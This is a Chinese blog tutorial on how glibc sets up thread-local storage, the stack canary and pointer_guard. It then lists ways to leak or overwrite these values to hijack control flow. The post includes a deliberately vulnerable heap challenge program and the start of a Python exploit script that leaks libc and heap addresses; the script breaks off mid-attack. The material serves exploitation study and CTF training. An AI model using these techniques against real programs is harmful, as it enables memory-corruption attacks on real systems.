Glibc TLS的实现与利用

发布于 2020-10-18  1380 次阅读



感谢cnitlrt师傅对本文的贡献

本文简单介绍了glibc的pointer_guard机制的原理以及绕过(利用)方法。(示例中glibc版本均为2.31)

在介绍我们今天要讲的重点之前,我们需要先了解一些前置知识。

TLS简单介绍

要介绍pointer_guard,对TLS的介绍是绕不开的。TLS的全称为Thread Local Storage,听名字就知道是一种线程独占的本地空间,在TLS出现之前,人们只能使用pthread_getspecific以及pthread_setspecific函数来处理线程独立存储,这显然是一种效率低下的解决方案。但现在我们可以使用__thread关键字来告知编译器某一个变量应当被放入TLS,并且只需几条汇编指令就可以访问到该变量。这一切都源于编译器,链接器以及内核的密切配合。

引子

TLS的特殊性(只能被当前线程访问和修改)使得其不能像一般的变量一样被简单的存储到ELF文件的某个段。而且TLS变量的行为也与一般的变量不同。下面我们将通过一个程序来说明这两点:

#include <pthread.h>
#include <stdio.h>

static __thread int a = 12345; // 0x3039
__thread unsigned long long b = 56789; // 0xddd5
__thread int c;

void try(void *tmp) {
    printf("try: a = %lx, b = %llx, c = %s\n", a, b, &c);
    return;
}

int main(void) {
    a = 0xdeadbeef;
    b = 0xbadcaffe;
    c = 0x61616161;
    printf("main thread: a = %lx, b = %llx, c = %s\n", a, b, &c);
    pthread_t pid;
    pthread_create(&pid, NULL, try, NULL);
    pthread_join(pid, NULL);
    return 0;
}

使用gcc tls.c -pthread -g -o tls编译后运行代码,我们发现程序的输出如下:

main thread: a = deadbeef, b = badcaffe, c = aaaa
try: a = 3039, b = ddd5, c = 

这里就和我们想象的情况不同了,理论上来说,abc都是全局变量,main函数中对其进行赋值之后应该会体现在try函数的输出中。然而事实上两者并没有互相影响。这正是TLS变量的强大之处,要做到能够独立的修改变量,我们最容易想到的解决方案便是申请一个变量的副本。实际上正是如此,我们使用gdb查看程序的section时,发现多出了两个section:.tdata以及.tbss,与正常的data以及bss section相似,两者分别存储已经初始化的线程变量以及未初始化的线程变量。如下图所示:

Screen Shot 2020-10-02 at 17.50.54

这两个section中可以说是保存着变量的原本版本,下面我们需要研究的是变量的副本存储的位置。

观察try函数的汇编代码,我们可以看到程序在取线程变量a时使用了指令mov rdx, fs:0FFFFFFFFFFFFFFF0h。现在我们终于找到了问题的关键:fs寄存器。然而我们在查看fs寄存器的值时却看到fs寄存器的值为0,这其实是因为gdb的权限无法直接访问fs寄存器,我们可以使用fsbase指令来进行访问。如下图所示:

Screen Shot 2020-10-02 at 17.59.54

令人惊讶的是,这个寄存器的值竟然指向一块mmap出的区域中,仔细一看,这个区域正是我们的栈所在的内存块。这时越来越多的东西被牵扯进来,我们离问题的核心也越来越近了。为了解决我们眼前的疑问,我们将目光转向TLS以及有关数据的结构。

x86_64-ABI要求的TLS结构

TLS(Thread Local Storage)的结构与TCB(Thread Control Block)以及dtv(dynamic thread vector)密切相关,每一个线程中每一个使用了TLS功能的module都拥有一个TLS Block。这几者的关系如下图所示1

Screen Shot 2020-10-02 at 19.42.52

根据图中显示的信息,TLS Blocks可以分为两类,一类是程序装载时就已经存在的(位于TCB前),这一部分Block被称为static TLS。右边的Blocks是动态分配的,它们被使用dlopen函数在程序运行时动态装载的模块所使用。

TCB作为线程控制块,保存着dtv数组的入口,dtv数组中的每一项都是TLS Block的入口,它们是指向TLS Blocks的指针。特别的,dtv数组的第一个成员是一个计数器,每当程序使用dlopen函数或者dlfree函数加载或者卸载一个具备TLS变量的module,该计数器的值都会加一,从而保证程序内版本的一致性。

特别的,ELF文件本身对应的TLS Block一定在dtv数组中占据索引为1的位置,且位置上与TCB相邻2

还需要注意的是,图中出现了一个名为tp_1的指针,在i386架构上,这个指针为gs段寄存器;在x86_64架构上,该指针为fs段寄存器。由于该指针与ELF文件本身对应的TLS Block之间的偏移是固定的,程序在编译时就可以将ELF中线程变量的地址硬编码到目标文件中。

Glibc的TLS实现

接下来,我们通过源码来理解Glibc中TLS的具体实现方法。我们首先来研究多线程的情形。

非主线程情形

TCB结构体以及static TLS的空间分配

在函数pthread_create中存在下面一条调用链:

pthread_create -> ALLOC_STACK

ALLOCATE_STACK函数通过下面的操作来为新线程分配栈:

mem = __mmap (NULL, size, (guardsize == 0) ? prot : PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0);
/* 使用mmap函数来分配一块匿名映射来作为我们的新栈 */
/* !!! omitted some code !!! */
/* 将thread descriptor(pd指针指向的结构体)放到新栈的栈底 */
pd = (struct pthread *) ((((uintptr_t) mem + size)
            - TLS_TCB_SIZE)
            & ~__static_tls_align_m1);
/* 进行这一步操作后内存布局如下:
 * 
 *                                  TLS_TCB_SIZE
 *                                        ^
 *                            +-----------+----------+
 *                            |                      |
 * ---------------------+----------------------------+
 *                      |     |                      |
 *                      | pad |                      |
 *                      |     |                      |
 * ---------------------+----------------------------+
 *                            ^                      ^
 *                            +                      +
 *                           pd                mmap area end
 *
 */

/* !!! omitted some code !!! */

/* Allocate the DTV for this thread.  */
if (_dl_allocate_tls (TLS_TPADJ (pd)) == NULL)
    {
        /* Something went wrong.  */
        assert (errno == ENOMEM);

        /* Free the stack memory we just allocated.  */
        (void) __munmap (mem, size);

        return errno;
    }

可以看到,新栈的底部被分配了一个容纳pd结构体的空间,该结构体的类型为struct pthread,我们称其为一个thread descriptor,该结构体的第一个域为tchhead_t类型,其定义如下:

typedef struct
{
  void *tcb;        /* Pointer to the TCB.  Not necessarily the
               thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;       /* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  unsigned long int vgetcpu_cache[2];
  /* Bit 0: X86_FEATURE_1_IBT.
     Bit 1: X86_FEATURE_1_SHSTK.
   */
  unsigned int feature_1;
  int __glibc_unused1;
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[4];
  /* GCC split stack support.  */
  void *__private_ss;
  /* The lowest address of shadow stack,  */
  unsigned long long int ssp_base;
  /* Must be kept even if it is no longer used by glibc since programs,
     like AddressSanitizer, depend on the size of tcbhead_t.  */
  __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));

  void *__padding[8];
} tcbhead_t;

可以看到,这就是我们之前提到的TCB结构体的具体实现。

父线程TCB的继承
  /* Copy the stack guard canary.  */
#ifdef THREAD_COPY_STACK_GUARD
  THREAD_COPY_STACK_GUARD (pd);
#endif

  /* Copy the pointer guard value.  */
#ifdef THREAD_COPY_POINTER_GUARD
  THREAD_COPY_POINTER_GUARD (pd);
#endif

在栈分配之后,我们在pthread函数中看到了上面这样的代码。将宏展开后可以看到内容如下:

/* Read member of the thread descriptor directly.  */
# define THREAD_GETMEM(descr, member) \
  ({ __typeof (descr->member) __value;                        \
     if (sizeof (__value) == 1)                           \
       asm volatile ("movb %%fs:%P2,%b0"                      \
             : "=q" (__value)                         \
             : "0" (0), "i" (offsetof (struct pthread, member)));     \
     else if (sizeof (__value) == 4)                          \
       asm volatile ("movl %%fs:%P1,%0"                       \
             : "=r" (__value)                         \
             : "i" (offsetof (struct pthread, member)));          \
     else                                     \
       {                                      \
     if (sizeof (__value) != 8)                       \
       /* There should not be any value with a size other than 1,         \
          4 or 8.  */                             \
       abort ();                                  \
                                          \
     asm volatile ("movq %%fs:%P1,%q0"                    \
               : "=r" (__value)                       \
               : "i" (offsetof (struct pthread, member)));        \
       }                                      \
     __value; })

# define THREAD_COPY_STACK_GUARD(descr) \
    ((descr)->header.stack_guard                          \
     = THREAD_GETMEM (THREAD_SELF, header.stack_guard))

不难看出,这一段的作用是将父进程的canary复制到当前进程的TCB结构体中。事实上,在fs寄存器尚未被改变之前,其中存放着父进程的TCB地址,我们可以使用THREAD_SELF宏来获取父线程的TCB指针:

# define THREAD_SELF \
  ({ struct pthread *__self;                              \
     asm ("mov %%fs:%c1,%0" : "=r" (__self)                   \
      : "i" (offsetof (struct pthread, header.self)));            \
     __self;})

借由这个trick,子线程从父线程继承了数个TCB的域,这里不再一一叙述,仅作了解。

dtv实现简介

那么我们可以沿着这条线索找到dtv数组以及TLS Blocks的具体实现。首先查看dtv_t类型的定义:

struct dtv_pointer
{
  void *val;                    /* Pointer to data, or TLS_DTV_UNALLOCATED.  */
  void *to_free;                /* Unaligned pointer, for deallocation.  */
};

/* Type for the dtv.  */
typedef union dtv
{
  size_t counter;
  struct dtv_pointer pointer;
} dtv_t;

可以看到该类型是一个联合,其值有可能是一个counter,该counter在dtv[-1]以及dtv[0]这个成员使用,标志dtv数组中的入口个数;其值也有可能是一个dtv_pointer结构体,其中的成员指向一个TLS Block。如下图所示:

Screen Shot 2020-10-03 at 11.25.25

需要注意的是dtv使用module ID作为索引,程序装载的每一个module都会有一个module ID,这个值存在于这个module对应的link_map结构体中,该结构体中的相关成员如下:

    /* 与TLS有关的内容  */

    /* TLS segment的起始地址,TLS segment由两部分组成,分别是tdata和tbss,存放初始化和未初始化的全局变量
     * 该segment在module被装载的时候映射的内存中,作为每一个线程初始化TLS Blocks时的模版 */
    void *l_tls_initimage;
    /* TLS segment在文件中的大小(仅.tdata的大小)  */
    size_t l_tls_initimage_size;
    /* TLS segment在内存中的大小(.data加上.tbss的大小)*/
    size_t l_tls_blocksize;
    /* TLS Block的对齐标准  */
    size_t l_tls_align;
    /* 符合对齐要求的第一个字节的偏移  */
    size_t l_tls_firstbyte_offset;
#ifndef NO_TLS_OFFSET
# define NO_TLS_OFFSET  0
#endif
#ifndef FORCED_DYNAMIC_TLS_OFFSET
# if NO_TLS_OFFSET == 0
#  define FORCED_DYNAMIC_TLS_OFFSET -1
# elif NO_TLS_OFFSET == -1
#  define FORCED_DYNAMIC_TLS_OFFSET -2
# else
#  error "FORCED_DYNAMIC_TLS_OFFSET is not defined"
# endif
#endif    
        /* 对于程序加载时就装载了的模块,该变量标示本模块对应的TLS Block在static TLS中的偏移.  */
    ptrdiff_t l_tls_offset;
    /* 本模块在dtv数组中的索引  */
    size_t l_tls_modid;

    /* 由该动态链接库构造的tls变量的数量  */
    size_t l_tls_dtor_count;
dtv数组的空间分配

我们接着本节开头的调用链继续往下看,可以看到如下调用:

pthread_create -> ALLOC_STACK -> _dl_allocate_tls -> allocate_dtv ->  _dl_allocate_tls_init

首先,程序在allocate_dtv函数中为dtv数组分配空间:

static void *
allocate_dtv (void *result)
{
  dtv_t *dtv;
  size_t dtv_length;

  dtv_length = GL(dl_tls_max_dtv_idx) + DTV_SURPLUS;
  dtv = calloc (dtv_length + 2, sizeof (dtv_t));
  if (dtv != NULL)
    {
      /* dtv长度的初始值 */
      dtv[0].counter = dtv_length;

      /* dtv的余下部分被初始化为0,来表示这里什么也没有 */

      /* 将dtv加入到线程描述符中 */
      INSTALL_DTV (result, dtv);
    }
  else
    result = NULL;

  return result;
}

我们可以看到程序在堆里面申请了一块区域赋值给dtv,然后利用INSTALL_DTV (result, dtv);宏进行了一些操作,我们将宏展开,得到下面的代码

(tcbhead_t *) (result))->dtv = (dtv) + 1

到这一步为止,TCB中指向的dtv数组的空间已经被成功分配。

static TLS以及fs的初始化

下面我们来看_dl_allocate_tls_init函数中进行的初始化工作:

从宏观上来说,该函数进行了一次对link_map的遍历,并且对于link_map链表中的每一个节点(对应一个模块)都进行了如下操作:

/* result指针指向TCB结构体, map为link map的一个节点 */
dest = (char *) result - map->l_tls_offset;

/* 设置DTV entry,一些平台在静态链接的程序中使用的简化版的__tls_get_addr需要这个值 */
dtv[map->l_tls_modid].pointer.val = dest;

/* 复制初始镜像,并将bss段清零  */
memset (__mempcpy (dest, map->l_tls_initimage,
            map->l_tls_initimage_size), '\0',
                map->l_tls_blocksize - map->l_tls_initimage_size);

对每一个module进行这一步操作后,(不考虑dlopen,dlfree)我们的TLS已经被初始化完成了。这时我们还留有最后一个疑问:谁设置了fs寄存器?

我们知道,fs寄存器是用户态程序无法设置,我们只能通过系统调用进行设置。因此我们使用strace -f ./tls命令来跟踪程序执行中的系统调用,如我们所料,我们在clone系统调用中发现了如下参数:

clone(child_stack=0x7fa882eeffb0, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tid=[37577], tls=0x7fa882ef0700, child_tidptr=0x7fa882ef09d0) = 37577

进而查找glibc中pthread_create函数对clone的调用,我们找到如下调用链在TCB被设置之后完成:

pthread_create -> create_thread -> clone syscall

其中clone处的代码为:

    const int clone_flags = (CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SYSVSEM
               | CLONE_SIGHAND | CLONE_THREAD
               | CLONE_SETTLS | CLONE_PARENT_SETTID
               | CLONE_CHILD_CLEARTID
               | 0);

  TLS_DEFINE_INIT_TP (tp, pd);

  if (__glibc_unlikely (ARCH_CLONE (&start_thread, STACK_VARIABLES_ARGS,
                    clone_flags, pd, &pd->tid, tp, &pd->tid)
            == -1))
    return errno;

可以看到,之前设置的pd指针被作为参数传给了clone系统调用作为新的tls。

进而在linux内核代码中,有如下调用链:

clone -> _do_fork -> copy_process -> copy_thread_tls -> do_arch_prctl_64

在这里,我们见到了在Linux中真正用来设置fs寄存器的系统调用:arch_prctl,在下面主线程情形的分析中,我们将会再次见到它。

主线程情形

概述

现在我们已经知道了arch_prctl系统调用用来设置fs寄存器,那么接下来我们只需使用gdb设置catchpoint即可找到主线程初始化时设置TLS的大致位置,如下图所示:

Screen Shot 2020-10-03 at 14.47.52

可以看到,关键位置在dl_main函数调用的init_tls函数中,我们可以在GNU的文档中看到相关的调用如下3

  • dl.so ELF headers point its start at _start.
  • _start (sysdeps/i386/dl-machine.h) calls _dl_start.
  • _dl_start (elf/rtld.c) initializes bootstrap_map, calls _dl_start_final
  • _dl_start_final calls _dl_sysdep_start.
  • _dl_sysdep_start (sysdeps/mach/hurd/dl-sysdep.c) calls __mach_init to initialize enough to run RPCs, then calls _hurd_startup.
  • _hurd_startup (hurd/hurdstartup.c) gets hurdish information from servers and calls its main parameter.
  • the main parameter was actually go inside _dl_sysdep_start, which calls dl_main.
  • dl_main (elf/rtld.c) interprets ld.so parameters, loads the binary and libraries, calls _dl_allocate_tls_init.

我门可以看到,ld在装载了所有的module之后调用_dl_allocate_tls_init.进行TLS的初始化工作,然而实际上dl_mian函数中进行的初始化工作不止这一处,有关的所有源码按顺序列举如下:

    // part I
  bool was_tls_init_tp_called = tls_init_tp_called;
  if (tcbp == NULL)
        tcbp = init_tls ();

  if (__glibc_likely (need_security_init))
        /* Initialize security features.  But only if we have not done it
        earlier.  */
        security_init ();

    // part II
    if ((!was_tls_init_tp_called && GL(dl_tls_max_dtv_idx) > 0) || count_modids != _dl_count_modids ())
        ++GL(dl_tls_generation);

  _dl_allocate_tls_init (tcbp);

  /* And finally install it for the main thread.  */
  if (! tls_init_tp_called)
    {
      const char *lossage = TLS_INIT_TP (tcbp);
      if (__glibc_unlikely (lossage != NULL))
                _dl_fatal_printf ("cannot set up thread-local storage: %s\n", lossage);
    }
init_tls:空间分配以及fs的设置

init_tls函数首先初始化了一些关于TLS的metadata,受篇幅所限不再赘述。我们把目光集中在该函数调用的_dl_allocate_tls_storage函数上,该函数源码如下:

void *
_dl_allocate_tls_storage (void)
{
  void *result;
  size_t size = GL(dl_tls_static_size);
  // 该变量存储着static TLS以及TCB的总大小,在elf/dl-tls.c中的_dl_determine_tlsoffset函数被赋值
  /* GL(dl_tls_static_size) = (roundup (offset + TLS_STATIC_SURPLUS, max_align) + TLS_TCB_SIZE); */

  size_t alignment = GL(dl_tls_static_align);
  void *allocated = malloc (size + alignment + sizeof (void *));
  if (__glibc_unlikely (allocated == NULL))
    return NULL;

  void *aligned = (void *) roundup ((uintptr_t) allocated, alignment); // 内存对齐
  result = aligned + size - TLS_TCB_SIZE;

  memset (result, '\0', TLS_TCB_SIZE);  // 将TCB清空

  *tcb_to_pointer_to_free_location (result) = allocated;

  result = allocate_dtv (result);
  if (result == NULL)
    // 如果dtv不存在,那么TCB也就没有存在的意义了
    free (allocated);
  return result;
}

本函数分为两个部分,第一部分作用为为TCB以及static TLS分配空间,这一过程使用了一个名为malloc的函数,但注意这个malloc并非glibc中实现的ptmalloc,而是ld中独立实现的一个内存管理功能。该函数会mmap一块内存作为分配区,然后利用指向分配区中的指针的加减来实现内存的增加与减少(这是一个非常简单的实现,有兴趣可以自行查阅源码,只有几十行)

第二部分的作用为为dtv分配空间,由于上面我们malloc的时候已经mmap过足够的空间,这一部分allocate_dtv函数调用calloc函数时会直接使用上次malloc剩下的内存,申请过后内存布局如下(忽略padding):

+---------------------+-------------------+-------------------------------+
|                     |                   |                               |
|   static TLS        |    TCB Structure  |       dtv array               |
|                     |                   |                               |
+---------------------+-+-------------------------------------------------+
                        |                 ^
                        +-----------------+

进行空间分配之后,init_tls的剩余部分会调用arch_prctl系统调用来进行fs寄存器的设置,然后经过检查之后函数返回。

security_init:TCB安全功能的初始化

那么init_tls函数的内容就到此结束了,下面我们将目光移向下一个函数security_init,该函数初始化了一些与安全有关的信息

static void
security_init (void)
{
  /* Set up the stack checker's canary.  */
  uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
#ifdef THREAD_SET_STACK_GUARD
  THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
  __stack_chk_guard = stack_chk_guard;
#endif

  /* Set up the pointer guard as well, if necessary.  */
  uintptr_t pointer_chk_guard
    = _dl_setup_pointer_guard (_dl_random, stack_chk_guard);
#ifdef THREAD_SET_POINTER_GUARD
  THREAD_SET_POINTER_GUARD (pointer_chk_guard);
#endif
  __pointer_chk_guard_local = pointer_chk_guard;

  /* We do not need the _dl_random value anymore.  The less
     information we leave behind, the better, so clear the
     variable.  */
  _dl_random = NULL;
}

这一段代码很简单,基本作用如图所示:

                     Stack                        Part of TCB
_dl_random --> +---------------+ clear lowest  +---------------+
               |               | 1 byte        |               |
               |               | +-----------> |    canary     |
               |               |               |               |
               +---------------+               +---------------+
               |               |               |               |
               |               | +-----------> | pointer_guard |
               |               |               |               |
               +---------------+               +---------------+

那么现在我们要解决的问题就是找到_dl_random指针的来源

_dl_random:一座桥梁

我们首先对该变量下一个写断点来查找它被赋值的位置,最终我们找到了_dl_sysdep_start函数中的如下代码:

for (av = GLRO(dl_auxv); av->a_type != AT_NULL; set_seen (av++))
    switch (av->a_type)
      {
        /* 省略 */
        case AT_RANDOM:
                    _dl_random = (void *) av->a_un.a_val;
        /* 省略 */
      }

如果你对SROP技术中泄露vdso地址的方法有印象的话,你一定会记得一个位于栈中的数据结构:Auxiliary Vector。该数组由内核创建,其中给出了一些关于当前进程的辅助信息。一个典型的Auxiliary Vector大致如下所示:

Screen Shot 2020-10-10 at 11.37.52

而我们的_dl_sysdep_start函数中的这一段switch语句正是遍历了这个数组,取其中AT_RANDOM对应的这一项的值,赋值给了_dl_random指针。

下面我们再来看该指针指向的位置。我们经过简单的实验即可发现,该值在_dl_start函数被调用之前就存在了。因此我们合理推测该值是由内核设置的。经过对内核源码的深入挖掘,我们发现了下面这条调用链4

``` 
load_elf_binary -> create_elf_tables

在`create_elf_tables`函数中,我们发现了如下代码:

```C
    /*
     * Generate 16 random bytes for userspace PRNG seeding.
     */
    get_random_bytes(k_rand_bytes, sizeof(k_rand_bytes));
    u_rand_bytes = (elf_addr_t __user *)
               STACK_ALLOC(p, sizeof(k_rand_bytes)); // 就是sp - size
    if (__copy_to_user(u_rand_bytes, k_rand_bytes, sizeof(k_rand_bytes)))
        return -EFAULT;

可以看到这段代码的流程:首先获取了16个随机字节,然后将得到的这些数据压栈。这一个简单的操作其实正是本文议题的起源,这看似平平无奇的16个字节,实际上在程序用户态的后续操作中进入了TCB结构体,被用来当作对指针的加密措施以及栈canary。

接下来还有如下代码设置了Auxiliary Vector中的AT_RANDOM入口,也正是该入口的值在上述的用户态启动进程中赋值给了_dl_random。(这或许为某种格式化字符串攻击提供了条件,因为这16个字节中间很少出现00截断。

/* Create the ELF interpreter info */
    elf_info = (elf_addr_t *)current->mm->saved_auxv;
    /* update AT_VECTOR_SIZE_BASE if the number of NEW_AUX_ENT() changes */
#define NEW_AUX_ENT(id, val) \
    do { \
        elf_info[ei_index++] = id; \
        elf_info[ei_index++] = val; \
    } while (0)

/* 省略 */
NEW_AUX_ENT(AT_RANDOM, (elf_addr_t)(unsigned long)u_rand_bytes);

在进行了上述操作后,栈结构如下:

                 +----------------+
                 |                |
Auxiliary Vector | AT_RANDOM ptr  | +-----+
                 |                |       |
                 +----------------+       |
                         ...              |
                 +----------------+       |
                 |                |       |
                 |  random bytes  | <-----+
                 |                |
                 +----------------+
                 |                |
                 |  'x86_64\x00'  |
                 |                |
                 +----------------+
                 |                |
                 |   padding      |
                 |                |
                 +----------------+
                 |                |
                 |   argv & envp  |
                 |   string       |
                 |                |

那么对_dl_random的介绍就到此为止了,让我们回到正题。

_dl_allocate_tls_init:TLS的初始化

这一步操作很简单,参见上面的static TLS以及fs的初始化一节。注意此时该函数的result参数为上面init_tls函数的返回值,这个指针指向fsbase,位于一块之前mmap出来的地址中。

最后,TLS_INIT_TP宏调用了arch_prctl,该系统调用进行了fs寄存器的设置。

主线程情形的分析到此结束。

TLS安全机制简单介绍

我们首先利用两个big picture来复习一下上面提到的内容:

之前我们对机制谈论了那么多,但实际上我们现在最需要了解的实际上是TLS有关的安全机制。

stack canary

对于stack canary,我们不做过多的叙述。相关的利用方式大家可能已经十分了解,我们将在后面的例二中讲解这一点。

pointer guard

这是我们要重点讲述,也是经常被忽略的一个机制。在Glibc中,有下面两个宏:

#  define PTR_MANGLE(var)   asm ("xor %%fs:%c2, %0\n"             \
                     "rol 2*" LP_SIZE "+1, %0"           \
                     : "=r" (var)                 \
                     : "0" (var),                 \
                       "i" (offsetof (tcbhead_t,          \
                              pointer_guard)))
#  define PTR_DEMANGLE(var) asm ("ror2*" LP_SIZE "+1, %0\n"         \
                     "xor %%fs:%c2, %0"               \
                     : "=r" (var)                 \
                     : "0" (var),                 \
                       "i" (offsetof (tcbhead_t,          \
                              pointer_guard)))
// 64位情况下,LP_SIZE为0x10

可以看到这两个宏利用pointer_guard分别对指针进行了加密和解密操作,加密由一次异或以及一次bitwise rotate组成。加密使用的key来自fs:[offsetof(tcbhead_t, pointer_guard)],也就是我们这一小节的议题。接下来我们将对加密和解密的脆弱性进行解析。

利用pointer_guard进行加密的过程可以表示为rol(ptr ^ pointer_guard, 0x11, 64),解密的过程为ror(enc, 0x11, 64) ^ pointer_guard。那么假设现在我们知道了enc和ptr两个值,我们就可以通过这个算式来计算出pointer_guard(64位情况)5

pointer_guard = ror (enc, 0x11, 64) ^ ptr 

同时假设我们获得了对pointer_guard的任意写,并且已知会调用一个函数指针enc,以及恶意地址evil_ptr,我们可以通过修改pointer_guardevil_guard来将解密后的指针导向恶意地址,转换关系如下:

evil_guard = ror (enc, 0x11, 64) ^ evil_ptr

关于pointer_guard的内容到此结束,下面我们根据上面所说的知识来进行一个知识点的总结。

关于TLS的攻击面总结

check上的是已经实践并且成功的(有尝试成功的师傅请联系我qq:1509684914)

TLS读写方法:

  • 主线程情形
    • 利用前一篇文章说过的mmap的特性,在libc地址已经泄露的情况下对libc地址加上某个特定的偏移,利用任意地址读写直接操作TCB结构(这里我们假定libc与TLS之间的偏移是固定的,在下一篇文章《线性区的分配与ASLR》中我们会看到理论依据)

    • 通过栈泄露pointer_guard以及canary(通常适用于格式化字符串攻击,根据cnitlrt师傅提供的思路,在堆题中可以将__free_hook劫持为printf函数,注意前面说过,这两组数据在栈中存在一份副本,并且Auxiliary Vector中存在指向它们的指针))

    • 通过泄露libc中已经利用pointer_guard加密过的函数地址(如_dl_fini,其加密后的地址在__exit_funcs数组中,真实的地址可以用libc基地址计算得到),然后利用真实地址进行逆运算解出pointer_guard

    • 修改global_max_fast然后通过free一个较大的chunk来将该chunk的地址写入到canary或者pointer_guard中)。

  • 非主线程情形:

    • 因为这时TCB结构体也在栈上。对于一个足够长的栈溢出,我们很容易覆盖tack_guard以及pointer_guard。注意static TLS在此种情况下是位于TCB结构体之前的,也就是说我们可以同时覆盖一些TLS变量。后面我们会给出具体的例子来介绍这种利用方式。

具体攻击路径

  1. 由于tcache是一个TLS变量,且该变量没有任何保护,可以写tcache来劫持整个tcache链表。

  2. 泄露pointer_guard后可以劫持exit函数的流程,可以劫持__exit_funcs数组来执行函数列表,但这种方法只能控制一个函数参数。

  3. 同样是泄露pointer_guard,但之后可以劫持tls_dtor_list(主线程情形需要任意地址写,非主线程需要任意地址写或者栈溢出),进而构造dtor_list结构体控制rdiobj域)和rdxnext域),进而利用setcontext+53来进行SROP。此方法适用于目前所有主流libc版本

  4. 在任意地址写情况下,如果已知一个确切的利用pointer_guard解密指针的位置(如printf函数中就存在这样的调用),可以通过修改pointer_guard来使解密后的函数指针指向one_gadget,进而getshell。

  5. 泄露或写入stack_canary来绕过canary机制(注意主线程的stack_canary和子线程的一样,并且修改主线程的stack_canary之后创建的子线程的canary也会被修改)

示例程序(攻击路径三)

下面是一个简单的堆溢出题。

在堆利用的过程中,如果遇到比较苛刻的情况(如开启了沙箱,只能orw读取flag)。那么我们常常会采用FSOP技术来劫持控制流,最终利用ROP来进行flag的读取。

首先,示例程序如下:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <seccomp.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <sys/syscall.h>

char *chunks[32];
size_t sizes[32];

unsigned int get_num(void) {
    char buf[8] = {0};
    read(0, buf, 8);
    return atoi(buf);
}

void title(void) {
    printf("Here is your diary.\n");
    printf("You can write anything here, your information is properly protected and everything will be destoryed when you leave.\n");
}

void keep_safe(void) {
    prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
    struct sock_filter sfi[] = {
                {0x20,0x00,0x00,0x00000004},
                {0x15,0x00,0x09,0xc000003e},
                {0x20,0x00,0x00,0x00000000},
                {0x35,0x07,0x00,0x40000000},
                {0x15,0x06,0x00,0x0000003b},
                {0x15,0x00,0x04,0x00000001},
                {0x20,0x00,0x00,0x00000024},
                {0x15,0x00,0x02,0x00000000},
                {0x20,0x00,0x00,0x00000020},
                {0x15,0x01,0x00,0x00000010},
                {0x06,0x00,0x00,0x7fff0000},
                {0x06,0x00,0x00,0x00000000}
    };
    struct sock_fprog sfp = {12,sfi};
    prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&sfp);
}


void add(void) {
    printf("Give me your idx: ");
    size_t idx = get_num();
    if (chunks[idx] || idx >= 32) {
                return;
    }
    printf("Give me your size: ");
    size_t size = get_num();

    chunks[idx] = malloc(size);
    sizes[idx] = size;
    return;
}

void show(void) {
    printf("Give me your idx: ");
    size_t idx = get_num();
    if (!chunks[idx] || idx >= 32) {
                return;
    }
    write(1, chunks[idx], sizes[idx]);
    return;
}

void del(void) {
    printf("Give me your idx: ");
    size_t idx = get_num();
    if (!chunks[idx] || idx >= 32) {
                return;
    }
    free(chunks[idx]);
    chunks[idx] = 0;
    sizes[idx] = 0;

}

void edit(void) {
    printf("Give me your idx: ");
    size_t idx = get_num();
    if (!chunks[idx] || idx >= 32) {
                return;
    }
    printf("Give me your content: ");
    read(0, chunks[idx], 0x100);
    return;
}

void menu(void) {
    printf("Menu: \n");
    printf("1. Add\n");
    printf("2. Delete\n");
    printf("3. Show\n");
    printf("4. Edit\n");
}

int main(void) {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    keep_safe();
    title();

    while (1) {
        menu();
        int choice = get_num();
        switch (choice) {
        case 1:
            add();
            break;
        case 2:
            del();
            break;
        case 3:
            show();
            break;
        case 4:
            edit();
            break;
        default:
            break;
        }
    }
    return 0;
}

编译时保护全开。

EXP

exp如下:

from sys import argv
from autopwn.core import *
from ctypes import *

def mask1(n):

    if n >= 0:
        return 2**n - 1
    else:
        return 0

def ror(n, d, width=8):
    d %= width * 8  #  width bytes give 8*bytes bits
    if d < 1:
        return n
    mask = mask1(8 * width)
    return ((n >> d) | (n << (8 * width - d))) & mask

def rol(n, d, width=8):
    d %= width * 8
    if d < 1:
        return n
    mask = mask1(8 * width)
    return ((n << d) | (n >> (width * 8 - d))) & mask

def ptr_demangle(ptr, key, LP_SIZE):
    tmp = ror(ptr, LP_SIZE * 2 + 1, LP_SIZE)
    return tmp ^ key

def ptr_mangle(ptr, key, LP_SIZE):
    tmp = ptr ^ key
    return rol(tmp, LP_SIZE * 2 + 1, LP_SIZE)

class dtor_list(Structure):
    _fields_ = [("func", c_int64),
                ("obj", c_int64),
                ("map", c_int64),
                ("next", c_int64)]

    def pack(self):
        return bytes(memoryview(self))

@attacker(EXP)
def exp(self, a:pwnlib.tubes.sock.sock):
    choose = lambda x: a.sla("Edit\n", str(x))
    idx = lambda x: a.sla("idx: ", str(x))
    size = lambda x: a.sla("size: ", str(x))
    content = lambda x: a.sa("content: ", x)

    def add(i, sz):
        choose(1)
        idx(i)
        size(sz)

    def free(i):
        choose(2)
        idx(i)

    def show(i):
        choose(3)
        idx(i)

    def edit(i, c):
        choose(4)
        idx(i)
        content(c)

    add(0, 0x420)
    add(1, 0x18)
    free(0)
    add(0, 0x420)
    show(0)
    libc_base = unpack(a.recvn(8), 'all') - 0x1bebe0
    log.success(f"{libc_base=:#x}")

    dbg = Debug(self)
    dbg.b('exit').c()

    fs_base = libc_base + 0x1c6540
    pguard_addr = fs_base + 0x30

    add(2, 0x18)
    add(3, 0x18)
    add(4, 0x18)
    free(3)
    free(2)

    add(2, 0x18)
    show(2)
    heap_base = u64(a.recvn(8)) - 0x710
    log.success(f"{heap_base=:#x}")
    free(2)

